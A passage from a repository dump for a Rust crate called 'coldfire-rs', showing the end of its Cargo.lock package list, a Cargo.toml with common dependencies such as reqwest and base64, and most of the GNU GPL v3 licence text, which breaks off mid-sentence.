"246f4c42e67e7a4e3c6106ff716a5d067d4132a642840b242e357e468a2a0085" 904 | 905 | [[package]] 906 | name = "unicode-normalization" 907 | version = "0.1.19" 908 | source = "registry+https://github.com/rust-lang/crates.io-index" 909 | checksum = "d54590932941a9e9266f0832deed84ebe1bf2e4c9e4a3554d393d18f5e854bf9" 910 | dependencies = [ 911 | "tinyvec", 912 | ] 913 | 914 | [[package]] 915 | name = "unicode-xid" 916 | version = "0.2.2" 917 | source = "registry+https://github.com/rust-lang/crates.io-index" 918 | checksum = "8ccb82d61f80a663efe1f787a51b16b5a51e3314d6ac365b08639f52387b33f3" 919 | 920 | [[package]] 921 | name = "url" 922 | version = "2.2.2" 923 | source = "registry+https://github.com/rust-lang/crates.io-index" 924 | checksum = "a507c383b2d33b5fc35d1861e77e6b383d158b2da5e14fe51b83dfedf6fd578c" 925 | dependencies = [ 926 | "form_urlencoded", 927 | "idna", 928 | "matches", 929 | "percent-encoding", 930 | ] 931 | 932 | [[package]] 933 | name = "vcpkg" 934 | version = "0.2.15" 935 | source = "registry+https://github.com/rust-lang/crates.io-index" 936 | checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" 937 | 938 | [[package]] 939 | name = "version_check" 940 | version = "0.9.3" 941 | source = "registry+https://github.com/rust-lang/crates.io-index" 942 | checksum = "5fecdca9a5291cc2b8dcf7dc02453fee791a280f3743cb0905f8822ae463b3fe" 943 | 944 | [[package]] 945 | name = "want" 946 | version = "0.3.0" 947 | source = "registry+https://github.com/rust-lang/crates.io-index" 948 | checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0" 949 | dependencies = [ 950 | "log", 951 | "try-lock", 952 | ] 953 | 954 | [[package]] 955 | name = "wasi" 956 | version = "0.10.2+wasi-snapshot-preview1" 957 | source = "registry+https://github.com/rust-lang/crates.io-index" 958 | checksum = "fd6fbd9a79829dd1ad0cc20627bf1ed606756a7f77edff7b66b7064f9cb327c6" 959 | 960 | [[package]] 961 | name = "wasm-bindgen" 962 | version = "0.2.78" 963 | source = "registry+https://github.com/rust-lang/crates.io-index" 964 | checksum = "632f73e236b219150ea279196e54e610f5dbafa5d61786303d4da54f84e47fce" 965 | dependencies = [ 966 | "cfg-if", 967 | "serde", 968 | "serde_json", 969 | "wasm-bindgen-macro", 970 | ] 971 | 972 | [[package]] 973 | name = "wasm-bindgen-backend" 974 | version = "0.2.78" 975 | source = "registry+https://github.com/rust-lang/crates.io-index" 976 | checksum = "a317bf8f9fba2476b4b2c85ef4c4af8ff39c3c7f0cdfeed4f82c34a880aa837b" 977 | dependencies = [ 978 | "bumpalo", 979 | "lazy_static", 980 | "log", 981 | "proc-macro2", 982 | "quote", 983 | "syn", 984 | "wasm-bindgen-shared", 985 | ] 986 | 987 | [[package]] 988 | name = "wasm-bindgen-futures" 989 | version = "0.4.28" 990 | source = "registry+https://github.com/rust-lang/crates.io-index" 991 | checksum = "8e8d7523cb1f2a4c96c1317ca690031b714a51cc14e05f712446691f413f5d39" 992 | dependencies = [ 993 | "cfg-if", 994 | "js-sys", 995 | "wasm-bindgen", 996 | "web-sys", 997 | ] 998 | 999 | [[package]] 1000 | name = "wasm-bindgen-macro" 1001 | version = "0.2.78" 1002 | source = "registry+https://github.com/rust-lang/crates.io-index" 1003 | checksum = "d56146e7c495528bf6587663bea13a8eb588d39b36b679d83972e1a2dbbdacf9" 1004 | dependencies = [ 1005 | "quote", 1006 | "wasm-bindgen-macro-support", 1007 | ] 1008 | 1009 | [[package]] 1010 | name = "wasm-bindgen-macro-support" 1011 | version = "0.2.78" 1012 | source = "registry+https://github.com/rust-lang/crates.io-index" 1013 | checksum = "7803e0eea25835f8abdc585cd3021b3deb11543c6fe226dcd30b228857c5c5ab" 1014 | dependencies = [ 1015 | "proc-macro2", 1016 | "quote", 1017 | "syn", 1018 | "wasm-bindgen-backend", 1019 | "wasm-bindgen-shared", 1020 | ] 1021 | 1022 | [[package]] 1023 | name = "wasm-bindgen-shared" 1024 | version = "0.2.78" 1025 | source = "registry+https://github.com/rust-lang/crates.io-index" 1026 | checksum = "0237232789cf037d5480773fe568aac745bfe2afbc11a863e97901780a6b47cc" 1027 | 1028 | [[package]] 1029 | name = "web-sys" 1030 | version = "0.3.55" 1031 | source = "registry+https://github.com/rust-lang/crates.io-index" 1032 | checksum = "38eb105f1c59d9eaa6b5cdc92b859d85b926e82cb2e0945cd0c9259faa6fe9fb" 1033 | dependencies = [ 1034 | "js-sys", 1035 | "wasm-bindgen", 1036 | ] 1037 | 1038 | [[package]] 1039 | name = "winapi" 1040 | version = "0.3.9" 1041 | source = "registry+https://github.com/rust-lang/crates.io-index" 1042 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 1043 | dependencies = [ 1044 | "winapi-i686-pc-windows-gnu", 1045 | "winapi-x86_64-pc-windows-gnu", 1046 | ] 1047 | 1048 | [[package]] 1049 | name = "winapi-i686-pc-windows-gnu" 1050 | version = "0.4.0" 1051 | source = "registry+https://github.com/rust-lang/crates.io-index" 1052 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 1053 | 1054 | [[package]] 1055 | name = "winapi-x86_64-pc-windows-gnu" 1056 | version = "0.4.0" 1057 | source = "registry+https://github.com/rust-lang/crates.io-index" 1058 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 1059 | 1060 | [[package]] 1061 | name = "winreg" 1062 | version = "0.7.0" 1063 | source = "registry+https://github.com/rust-lang/crates.io-index" 1064 | checksum = "0120db82e8a1e0b9fb3345a539c478767c0048d842860994d96113d5b667bd69" 1065 | dependencies = [ 1066 | "winapi", 1067 | ] 1068 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "coldfire-rs" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | rand = "0.8.0" 10 | base64 = "0.13.0" 11 | md5 = "0.7.0" 12 | reqwest = { version="0.11.4", features = ["blocking"] } 13 | error-chain = "0.12.4" 14 | 15 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you 